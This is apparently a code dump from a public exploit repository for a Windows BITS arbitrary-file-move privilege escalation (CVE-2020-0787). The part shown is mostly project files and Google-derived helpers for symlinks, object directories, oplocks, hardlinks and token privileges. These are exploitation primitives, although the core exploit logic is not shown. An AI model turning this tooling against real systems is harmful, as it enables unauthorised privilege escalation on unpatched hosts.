25 |
26 |
27 |
--------------------------------------------------------------------------------
/BitsArbitraryFileMoveExploit/BitsArbitraryFileMoveExploit.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | C:\dl\test\1\BitsArbitraryFileMoveExploit.exe
5 | C:\dl\test\1
6 | 10.120.1.10
7 | WindowsRemoteDebugger
8 | RemoteWithoutAuthentication
9 | false
10 | C:\dl\test\1
11 | false
12 |
13 |
--------------------------------------------------------------------------------
/BitsArbitraryFileMoveExploit/resource.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yanghaoi/CVE-2020-0787/d36ae6787b3ed136e1b756e6cf475481077f0cd7/BitsArbitraryFileMoveExploit/resource.h
--------------------------------------------------------------------------------
/CommonUtils/CommonUtils.cpp:
--------------------------------------------------------------------------------
1 | // Copyright 2015 Google Inc. All Rights Reserved.
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http ://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | #include "stdafx.h"
16 | #include "CommonUtils.h"
17 | #include
18 | #include "ntimports.h"
19 |
20 | void __stdcall my_puts(const char* str)
21 | {
22 | fwrite(str, 1, strlen(str), stdout);
23 | }
24 |
25 | static console_output _pout = my_puts;
26 |
27 | void DebugSetOutput(console_output pout)
28 | {
29 | _pout = pout;
30 | }
31 |
32 | void DebugPrintf(const char* lpFormat, ...)
33 | {
34 | CHAR buf[1024];
35 | va_list va;
36 |
37 | va_start(va, lpFormat);
38 |
39 | StringCbVPrintfA(buf, sizeof(buf), lpFormat, va);
40 |
41 | _pout(buf);
42 | }
43 |
44 | std::wstring GetErrorMessage(DWORD dwError)
45 | {
46 | LPWSTR pBuffer = NULL;
47 |
48 | DWORD dwSize = FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS |
49 | FORMAT_MESSAGE_ALLOCATE_BUFFER, 0, dwError, 0, (LPWSTR)&pBuffer, 32 * 1024, nullptr);
50 |
51 | if (dwSize > 0)
52 | {
53 | std::wstring ret = pBuffer;
54 |
55 | LocalFree(pBuffer);
56 |
57 | return ret;
58 | }
59 | else
60 | {
61 | printf("Error getting message %d\n", GetLastError());
62 | WCHAR buf[64];
63 | StringCchPrintf(buf, _countof(buf), L"%d", dwError);
64 | return buf;
65 | }
66 | }
67 |
68 | std::wstring GetErrorMessage()
69 | {
70 | return GetErrorMessage(GetLastError());
71 | }
72 |
73 |
74 | BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
75 | {
76 | TOKEN_PRIVILEGES tp;
77 | LUID luid;
78 |
79 | if (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
80 | {
81 | return FALSE;
82 | }
83 |
84 | tp.PrivilegeCount = 1;
85 | tp.Privileges[0].Luid = luid;
86 | if (bEnablePrivilege)
87 | {
88 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
89 | }
90 | else
91 | {
92 | tp.Privileges[0].Attributes = 0;
93 | }
94 |
95 | if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
96 | {
97 | return FALSE;
98 | }
99 |
100 | if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
101 | {
102 | return FALSE;
103 | }
104 |
105 | return TRUE;
106 | }
107 |
108 | DWORD NtStatusToDosError(NTSTATUS status)
109 | {
110 | DEFINE_NTDLL(RtlNtStatusToDosError);
111 | return fRtlNtStatusToDosError(status);
112 | }
113 |
114 | void SetNtLastError(NTSTATUS status)
115 | {
116 | SetLastError(NtStatusToDosError(status));
117 | }
118 |
119 | FARPROC GetProcAddressNT(LPCSTR lpName)
120 | {
121 | return GetProcAddress(GetModuleHandleW(L"ntdll"), lpName);
122 | }
123 |
124 | HANDLE OpenFileNative(LPCWSTR path, HANDLE root, ACCESS_MASK desired_access, ULONG share_access, ULONG open_options)
125 | {
126 | UNICODE_STRING name = { 0 };
127 | OBJECT_ATTRIBUTES obj_attr = { 0 };
128 |
129 | DEFINE_NTDLL(RtlInitUnicodeString);
130 | DEFINE_NTDLL(NtOpenFile);
131 |
132 | if (path)
133 | {
134 | fRtlInitUnicodeString(&name, path);
135 | InitializeObjectAttributes(&obj_attr, &name, OBJ_CASE_INSENSITIVE, root, nullptr);
136 | }
137 | else
138 | {
139 | InitializeObjectAttributes(&obj_attr, nullptr, OBJ_CASE_INSENSITIVE, root, nullptr);
140 | }
141 |
142 | HANDLE h = nullptr;
143 | IO_STATUS_BLOCK io_status = { 0 };
144 | NTSTATUS status = fNtOpenFile(&h, desired_access, &obj_attr, &io_status, share_access, open_options);
145 | if (NT_SUCCESS(status))
146 | {
147 | return h;
148 | }
149 | else
150 | {
151 | SetNtLastError(status);
152 | return nullptr;
153 | }
154 | }
155 |
156 | std::wstring BuildFullPath(const std::wstring& path, bool native)
157 | {
158 | std::wstring ret;
159 | WCHAR buf[MAX_PATH];
160 |
161 | if (native)
162 | {
163 | ret = L"\\??\\";
164 | }
165 |
166 | if (GetFullPathName(path.c_str(), MAX_PATH, buf, nullptr) > 0)
167 | {
168 | ret += buf;
169 | }
170 | else
171 | {
172 | ret += path;
173 | }
174 |
175 | return ret;
176 | }
--------------------------------------------------------------------------------
/CommonUtils/CommonUtils.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 |
6 | typedef void(__stdcall *console_output)(const char*);
7 |
8 | void DebugSetOutput(console_output pout);
9 | void DebugPrintf(const char* lpFormat, ...);
10 | HANDLE CreateSymlink(HANDLE root, LPCWSTR linkname, LPCWSTR targetname);
11 | HANDLE OpenSymlink(HANDLE root, LPCWSTR linkname);
12 | HANDLE CreateObjectDirectory(HANDLE hRoot, LPCWSTR dirname, HANDLE hShadow);
13 | HANDLE OpenObjectDirectory(HANDLE hRoot, LPCWSTR dirname);
14 | std::wstring GetErrorMessage(DWORD dwError);
15 | std::wstring GetErrorMessage();
16 | BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege);
17 | bool CreateRegSymlink(LPCWSTR lpSymlink, LPCWSTR lpTarget, bool bVolatile);
18 | bool DeleteRegSymlink(LPCWSTR lpSymlink);
19 | DWORD NtStatusToDosError(NTSTATUS status);
20 | bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname);
21 | HANDLE OpenFileNative(LPCWSTR path, HANDLE root, ACCESS_MASK desired_access, ULONG share_access, ULONG open_options);
22 | std::wstring BuildFullPath(const std::wstring& path, bool native);
--------------------------------------------------------------------------------
/CommonUtils/CommonUtils.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Debug
10 | x64
11 |
12 |
13 | Release
14 | Win32
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}
23 | Win32Proj
24 | CommonUtils
25 |
26 |
27 |
28 | StaticLibrary
29 | true
30 | v142
31 | Unicode
32 | Static
33 |
34 |
35 | StaticLibrary
36 | true
37 | v142
38 | Unicode
39 | Static
40 |
41 |
42 | StaticLibrary
43 | false
44 | v142
45 | true
46 | Unicode
47 |
48 |
49 | StaticLibrary
50 | false
51 | v142
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | Use
75 | Level3
76 | Disabled
77 | WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions)
78 | true
79 | MultiThreaded
80 |
81 |
82 | Windows
83 | true
84 |
85 |
86 |
87 |
88 | Use
89 | Level3
90 | Disabled
91 | WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions)
92 | true
93 | MultiThreadedDebug
94 |
95 |
96 | Windows
97 | true
98 |
99 |
100 |
101 |
102 | Level3
103 | Use
104 | MaxSpeed
105 | true
106 | true
107 | WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions)
108 | true
109 | MultiThreaded
110 |
111 |
112 | Windows
113 | true
114 | true
115 | true
116 |
117 |
118 |
119 |
120 | Level3
121 | Use
122 | MaxSpeed
123 | true
124 | true
125 | WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions)
126 | true
127 | MultiThreaded
128 |
129 |
130 | Windows
131 | true
132 | true
133 | true
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 | Create
159 | Create
160 | Create
161 | Create
162 |
163 |
164 |
165 |
166 |
167 |
--------------------------------------------------------------------------------
/CommonUtils/CommonUtils.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Header Files
20 |
21 |
22 | Header Files
23 |
24 |
25 | Header Files
26 |
27 |
28 | Header Files
29 |
30 |
31 | Header Files
32 |
33 |
34 | Header Files
35 |
36 |
37 | Header Files
38 |
39 |
40 | Header Files
41 |
42 |
43 | Header Files
44 |
45 |
46 |
47 |
48 | Source Files
49 |
50 |
51 | Source Files
52 |
53 |
54 | Source Files
55 |
56 |
57 | Source Files
58 |
59 |
60 | Source Files
61 |
62 |
63 | Source Files
64 |
65 |
66 | Source Files
67 |
68 |
69 | Source Files
70 |
71 |
72 | Source Files
73 |
74 |
75 | Source Files
76 |
77 |
78 |
--------------------------------------------------------------------------------
/CommonUtils/CommonUtils.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/CommonUtils/DirectoryObject.cpp:
--------------------------------------------------------------------------------
1 | // Copyright 2015 Google Inc. All Rights Reserved.
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http ://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | #include "stdafx.h"
16 | #include "CommonUtils.h"
17 | #include "ntimports.h"
18 |
19 | HANDLE CreateObjectDirectory(HANDLE hRoot, LPCWSTR dirname, HANDLE hShadow)
20 | {
21 | DEFINE_NTDLL(RtlInitUnicodeString);
22 | DEFINE_NTDLL(NtCreateDirectoryObjectEx);
23 |
24 | OBJECT_ATTRIBUTES obj_attr;
25 | UNICODE_STRING obj_name;
26 |
27 | if (dirname)
28 | {
29 | fRtlInitUnicodeString(&obj_name, dirname);
30 | InitializeObjectAttributes(&obj_attr, &obj_name, OBJ_CASE_INSENSITIVE, hRoot, nullptr);
31 | }
32 | else
33 | {
34 | InitializeObjectAttributes(&obj_attr, nullptr, OBJ_CASE_INSENSITIVE, hRoot, nullptr);
35 | }
36 |
37 | HANDLE h = nullptr;
38 | NTSTATUS status = fNtCreateDirectoryObjectEx(&h, DIRECTORY_ALL_ACCESS, &obj_attr, hShadow, FALSE);
39 | if (status == 0)
40 | {
41 | return h;
42 | }
43 | else
44 | {
45 | SetLastError(NtStatusToDosError(status));
46 | return nullptr;
47 | }
48 | }
49 |
50 | HANDLE OpenObjectDirectory(HANDLE hRoot, LPCWSTR dirname)
51 | {
52 | DEFINE_NTDLL(RtlInitUnicodeString);
53 | DEFINE_NTDLL(NtOpenDirectoryObject);
54 |
55 | OBJECT_ATTRIBUTES obj_attr;
56 | UNICODE_STRING obj_name;
57 |
58 | fRtlInitUnicodeString(&obj_name, dirname);
59 |
60 | InitializeObjectAttributes(&obj_attr, &obj_name, OBJ_CASE_INSENSITIVE, hRoot, nullptr);
61 |
62 | HANDLE h = nullptr;
63 |
64 | NTSTATUS status = fNtOpenDirectoryObject(&h, MAXIMUM_ALLOWED, &obj_attr);
65 | if (status == 0)
66 | {
67 | return h;
68 | }
69 | else
70 | {
71 | SetLastError(NtStatusToDosError(status));
72 | return nullptr;
73 | }
74 | }
--------------------------------------------------------------------------------
/CommonUtils/FileOpLock.cpp:
--------------------------------------------------------------------------------
1 | // Copyright 2015 Google Inc. All Rights Reserved.
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http ://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | #include "stdafx.h"
16 | #include "FileOpLock.h"
17 | #include
18 |
19 | void DebugPrintf(LPCSTR lpFormat, ...);
20 |
21 | FileOpLock::FileOpLock(UserCallback cb):
22 | g_inputBuffer({ 0 }), g_outputBuffer({ 0 }), g_o({ 0 }), g_hFile(INVALID_HANDLE_VALUE), g_hLockCompleted(nullptr), g_wait(nullptr), _cb(cb)
23 | {
24 | g_inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
25 | g_inputBuffer.StructureLength = sizeof(g_inputBuffer);
26 | g_inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
27 | g_inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;
28 | g_outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
29 | g_outputBuffer.StructureLength = sizeof(g_outputBuffer);
30 | }
31 |
32 |
33 | FileOpLock::~FileOpLock()
34 | {
35 | if (g_wait)
36 | {
37 | SetThreadpoolWait(g_wait, nullptr, nullptr);
38 | CloseThreadpoolWait(g_wait);
39 | g_wait = nullptr;
40 | }
41 |
42 | if (g_o.hEvent)
43 | {
44 | CloseHandle(g_o.hEvent);
45 | g_o.hEvent = nullptr;
46 | }
47 |
48 | if (g_hFile != INVALID_HANDLE_VALUE)
49 | {
50 | CloseHandle(g_hFile);
51 | g_hFile = INVALID_HANDLE_VALUE;
52 | }
53 | }
54 |
55 | bool FileOpLock::BeginLock(const std::wstring& filename, DWORD dwShareMode, bool exclusive)
56 | {
57 | g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr);
58 | g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);
59 |
60 | DWORD flags = FILE_FLAG_OVERLAPPED;
61 |
62 | if (GetFileAttributesW(filename.c_str()) & FILE_ATTRIBUTE_DIRECTORY)
63 | {
64 | flags |= FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT;
65 | }
66 |
67 | g_hFile = CreateFileW(filename.c_str(), GENERIC_READ,
68 | dwShareMode, nullptr, OPEN_EXISTING,
69 | flags, nullptr);
70 | if (g_hFile == INVALID_HANDLE_VALUE) {
71 | DebugPrintf("Error opening file: %d\n", GetLastError());
72 | return false;
73 | }
74 |
75 | g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr);
76 | if (g_wait == nullptr)
77 | {
78 | DebugPrintf("Error creating threadpool %d\n", GetLastError());
79 | return false;
80 | }
81 |
82 | SetThreadpoolWait(g_wait, g_o.hEvent, nullptr);
83 |
84 | DWORD bytesReturned;
85 |
86 | if (exclusive)
87 | {
88 | DeviceIoControl(g_hFile,
89 | FSCTL_REQUEST_OPLOCK_LEVEL_1,
90 | NULL, 0,
91 | NULL, 0,
92 | &bytesReturned,
93 | &g_o);
94 | }
95 | else
96 | {
97 | DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK,
98 | &g_inputBuffer, sizeof(g_inputBuffer),
99 | &g_outputBuffer, sizeof(g_outputBuffer),
100 | nullptr, &g_o);
101 | }
102 |
103 | DWORD err = GetLastError();
104 | if (err != ERROR_IO_PENDING) {
105 | DebugPrintf("Oplock Failed %d\n", err);
106 | return false;
107 | }
108 |
109 | return true;
110 | }
111 |
112 | FileOpLock* FileOpLock::CreateLock(const std::wstring& name, const std::wstring& share_mode, FileOpLock::UserCallback cb)
113 | {
114 | FileOpLock* ret = new FileOpLock(cb);
115 | DWORD dwShareMode = 0;
116 | bool exclusive = false;
117 |
118 | if (share_mode.find('r') != std::wstring::npos)
119 | {
120 | dwShareMode |= FILE_SHARE_READ;
121 | }
122 |
123 | if (share_mode.find('w') != std::wstring::npos)
124 | {
125 | dwShareMode |= FILE_SHARE_WRITE;
126 | }
127 |
128 | if (share_mode.find('d') != std::wstring::npos)
129 | {
130 | dwShareMode |= FILE_SHARE_DELETE;
131 | }
132 |
133 | if (share_mode.find('x') != std::wstring::npos)
134 | {
135 | exclusive = true;
136 | }
137 |
138 | if (ret->BeginLock(name, dwShareMode, exclusive))
139 | {
140 | return ret;
141 | }
142 | else
143 | {
144 | delete ret;
145 | return nullptr;
146 | }
147 | }
148 |
149 | void FileOpLock::WaitForLock(UINT Timeout)
150 | {
151 | WaitForSingleObject(g_hLockCompleted, Timeout);
152 | }
153 |
154 | void FileOpLock::WaitCallback(PTP_CALLBACK_INSTANCE Instance,
155 | PVOID Parameter, PTP_WAIT Wait,
156 | TP_WAIT_RESULT WaitResult)
157 | {
158 | UNREFERENCED_PARAMETER(Instance);
159 | UNREFERENCED_PARAMETER(Wait);
160 | UNREFERENCED_PARAMETER(WaitResult);
161 |
162 | FileOpLock* lock = reinterpret_cast(Parameter);
163 |
164 | lock->DoWaitCallback();
165 | }
166 |
167 | void FileOpLock::DoWaitCallback()
168 | {
169 | DWORD dwBytes;
170 | if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) {
171 | DebugPrintf("Oplock Failed\n");
172 | }
173 |
174 | if (_cb)
175 | {
176 | _cb();
177 | }
178 |
179 | //DebugPrintf("Closing Handle\n");
180 | CloseHandle(g_hFile);
181 | g_hFile = INVALID_HANDLE_VALUE;
182 | SetEvent(g_hLockCompleted);
183 | }
--------------------------------------------------------------------------------
/CommonUtils/FileOpLock.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 |
6 | class FileOpLock
7 | {
8 | public:
9 | typedef void(*UserCallback)();
10 |
11 | static FileOpLock* CreateLock(const std::wstring& name, const std::wstring& share_mode, FileOpLock::UserCallback cb);
12 | void WaitForLock(UINT Timeout);
13 |
14 | ~FileOpLock();
15 | private:
16 |
17 | HANDLE g_hFile;
18 | OVERLAPPED g_o;
19 | REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer;
20 | REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer;
21 | HANDLE g_hLockCompleted;
22 | PTP_WAIT g_wait;
23 | UserCallback _cb;
24 |
25 | FileOpLock(UserCallback cb);
26 |
27 | static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance,
28 | PVOID Parameter, PTP_WAIT Wait,
29 | TP_WAIT_RESULT WaitResult);
30 |
31 | void DoWaitCallback();
32 |
33 | bool BeginLock(const std::wstring& name, DWORD dwShareMode, bool exclusive);
34 |
35 | };
36 |
37 |
--------------------------------------------------------------------------------
/CommonUtils/FileSymlink.cpp:
--------------------------------------------------------------------------------
1 | // Copyright 2015 Google Inc. All Rights Reserved.
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http ://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | #include "stdafx.h"
16 | #include "FileSymlink.h"
17 |
18 | #include
19 | #include "ReparsePoint.h"
20 | #include "CommonUtils.h"
21 |
22 | FileSymlink::FileSymlink(bool permanent)
23 | : m_created_junction(false), m_hlink(nullptr), m_permanent(permanent)
24 | {
25 | }
26 |
27 | FileSymlink::FileSymlink() : FileSymlink(false)
28 | {
29 | }
30 |
31 | FileSymlink::~FileSymlink()
32 | {
33 | if (!m_permanent)
34 | {
35 | if (m_hlink)
36 | {
37 | CloseHandle(m_hlink);
38 | }
39 |
40 | if (m_created_junction)
41 | {
42 | RemoveDirectory(m_junctiondir);
43 | }
44 | }
45 | }
46 |
47 | bstr_t GetNativePath(LPCWSTR name, PBOOL isnative)
48 | {
49 | if (name[0] == '@')
50 | {
51 | *isnative = TRUE;
52 | return name + 1;
53 | }
54 | else
55 | {
56 | *isnative = FALSE;
57 | std::vector buf(32 * 1024);
58 |
59 | if (GetFullPathNameW(name, buf.size(), &buf[0], nullptr) == 0)
60 | {
61 | return L"";
62 | }
63 |
64 | return &buf[0];
65 | }
66 | }
67 |
68 | FileSymlink::FileSymlink(FileSymlink&& other)
69 | {
70 | m_created_junction = other.m_created_junction;
71 | m_hlink = other.m_hlink;
72 | m_junctiondir = other.m_junctiondir;
73 | m_linkname = other.m_linkname;
74 | m_target = other.m_target;
75 |
76 | other.m_created_junction = false;
77 | other.m_hlink = nullptr;
78 | }
79 |
80 | FileSymlink& FileSymlink::operator=(FileSymlink&& other)
81 | {
82 | m_created_junction = other.m_created_junction;
83 | m_hlink = other.m_hlink;
84 | m_junctiondir = other.m_junctiondir;
85 | m_linkname = other.m_linkname;
86 | m_target = other.m_target;
87 |
88 | other.m_created_junction = false;
89 | other.m_hlink = nullptr;
90 |
91 | return *this;
92 | }
93 |
94 | static void RemovePermanentSymlink(LPCWSTR symlink, LPCWSTR target)
95 | {
96 | DefineDosDeviceW(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION |
97 | DDD_EXACT_MATCH_ON_REMOVE, symlink, target);
98 | DefineDosDeviceW(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION |
99 | DDD_EXACT_MATCH_ON_REMOVE, symlink, target);
100 | }
101 |
102 | static bool CreatePermanentSymlink(LPCWSTR symlink, LPCWSTR target)
103 | {
104 | if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, symlink, target)
105 | && DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, symlink, target))
106 | {
107 | return true;
108 | }
109 | return false;
110 | }
111 |
112 | bool FileSymlink::CreateSymlink(LPCWSTR xsymlink, LPCWSTR xtarget, LPCWSTR xbaseobjdir)
113 | {
114 | bstr_t symlink = xsymlink;
115 | bstr_t baseobjdir = L"\\RPC Control";
116 |
117 | if (xbaseobjdir)
118 | {
119 | baseobjdir = xbaseobjdir;
120 | }
121 |
122 | BOOL isnative;
123 |
124 | bstr_t linkname = GetNativePath(symlink, &isnative);
125 | if (linkname.length() == 0)
126 | {
127 | return 1;
128 | }
129 |
130 | if (!isnative)
131 | {
132 | wchar_t* slash = wcsrchr(symlink.GetBSTR(), L'\\');
133 | if (slash == nullptr)
134 | {
135 | DebugPrintf("Error must supply a directory and link name\n");
136 | return false;
137 | }
138 |
139 | linkname = baseobjdir + slash;
140 |
141 | *slash = 0;
142 |
143 | m_junctiondir = symlink;
144 |
145 | if (!CreateDirectory(m_junctiondir, nullptr) && GetLastError() != ERROR_ALREADY_EXISTS)
146 | {
147 | DebugPrintf("Couldn't create symlink directory\n");
148 | return false;
149 | }
150 |
151 | bstr_t destdir = baseobjdir;
152 |
153 | if (!ReparsePoint::CreateMountPoint(m_junctiondir.GetBSTR(), destdir.GetBSTR(), L""))
154 | {
155 | DebugPrintf("Error creating junction %d\n", ReparsePoint::GetLastError());
156 | return false;
157 | }
158 |
159 | m_created_junction = true;
160 | }
161 |
162 | bstr_t target = GetNativePath(xtarget, &isnative);
163 | if (target.length() == 0)
164 | {
165 | return false;
166 | }
167 |
168 | if (!isnative)
169 | {
170 | target = L"\\??\\" + target;
171 | }
172 |
173 | if (m_permanent)
174 | {
175 | linkname = L"Global\\GLOBALROOT" + linkname;
176 |
177 | if (!CreatePermanentSymlink(linkname, target))
178 | {
179 | DebugPrintf("Error creating symlink %ls\n", GetErrorMessage().c_str());
180 | return false;
181 | }
182 | }
183 | else
184 | {
185 | m_hlink = ::CreateSymlink(nullptr, linkname, target);
186 | if (!m_hlink)
187 | {
188 | return false;
189 | }
190 | }
191 |
192 | m_linkname = linkname;
193 | m_target = target;
194 |
195 | return true;
196 | }
197 |
198 |
199 | bool FileSymlink::ChangeSymlink(LPCWSTR newtarget)
200 | {
201 | BOOL isnative;
202 |
203 | bstr_t target = GetNativePath(newtarget, &isnative);
204 | if (target.length() == 0)
205 | {
206 | return false;
207 | }
208 |
209 | if (!isnative)
210 | {
211 | target = L"\\??\\" + target;
212 | }
213 |
214 | if (m_permanent)
215 | {
216 | RemovePermanentSymlink(m_linkname, m_target);
217 | if (!CreatePermanentSymlink(m_linkname, target))
218 | {
219 | return false;
220 | }
221 | }
222 | else
223 | {
224 | if (!m_hlink)
225 | {
226 | SetLastError(ERROR_INVALID_PARAMETER);
227 | return false;
228 | }
229 |
230 | CloseHandle(m_hlink);
231 | m_hlink = nullptr;
232 |
233 |
234 | m_hlink = ::CreateSymlink(nullptr, m_linkname, target);
235 | if (!m_hlink)
236 | {
237 | return false;
238 | }
239 | }
240 |
241 | m_target = target;
242 |
243 | return true;
244 | }
--------------------------------------------------------------------------------
/CommonUtils/FileSymlink.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 | class FileSymlink
5 | {
6 | bstr_t m_junctiondir;
7 | bstr_t m_linkname;
8 | bstr_t m_target;
9 | bool m_created_junction;
10 | HANDLE m_hlink;
11 | bool m_permanent;
12 |
13 | public:
14 | FileSymlink(bool permanent);
15 | FileSymlink();
16 | FileSymlink(FileSymlink&& other);
17 | FileSymlink& operator=(FileSymlink&& other);
18 | FileSymlink(const FileSymlink& other) = delete;
19 | FileSymlink& operator=(const FileSymlink& other) = delete;
20 |
21 | bool CreateSymlink(LPCWSTR symlink, LPCWSTR target, LPCWSTR baseobjdir);
22 | bool ChangeSymlink(LPCWSTR newtarget);
23 |
24 | ~FileSymlink();
25 | };
26 |
27 |
--------------------------------------------------------------------------------
/CommonUtils/Hardlink.cpp:
--------------------------------------------------------------------------------
1 | // Copyright 2015 Google Inc. All Rights Reserved.
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http ://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | #include "stdafx.h"
16 | #include "CommonUtils.h"
17 | #include "ntimports.h"
18 | #include "typed_buffer.h"
19 |
20 | bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname)
21 | {
22 | std::wstring full_linkname = BuildFullPath(linkname, true);
23 | size_t len = full_linkname.size() * sizeof(WCHAR);
24 |
25 | typed_buffer_ptr link_info(sizeof(FILE_LINK_INFORMATION) + len - sizeof(WCHAR));
26 |
27 | memcpy(&link_info->FileName[0], full_linkname.c_str(), len);
28 | link_info->ReplaceIfExists = TRUE;
29 | link_info->FileNameLength = len;
30 |
31 | std::wstring full_targetname = BuildFullPath(targetname, true);
32 |
33 | HANDLE hFile = OpenFileNative(full_targetname.c_str(), nullptr, MAXIMUM_ALLOWED, FILE_SHARE_READ, 0);
34 | if (hFile)
35 | {
36 | DEFINE_NTDLL(ZwSetInformationFile);
37 | IO_STATUS_BLOCK io_status = { 0 };
38 |
39 | NTSTATUS status = fZwSetInformationFile(hFile, &io_status, link_info, link_info.size(), FileLinkInformation);
40 | CloseHandle(hFile);
41 | if (NT_SUCCESS(status))
42 | {
43 | return true;
44 | }
45 | SetNtLastError(status);
46 | }
47 |
48 | return false;
49 | }
--------------------------------------------------------------------------------
/CommonUtils/NativeSymlink.cpp:
--------------------------------------------------------------------------------
1 | // Copyright 2015 Google Inc. All Rights Reserved.
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http ://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
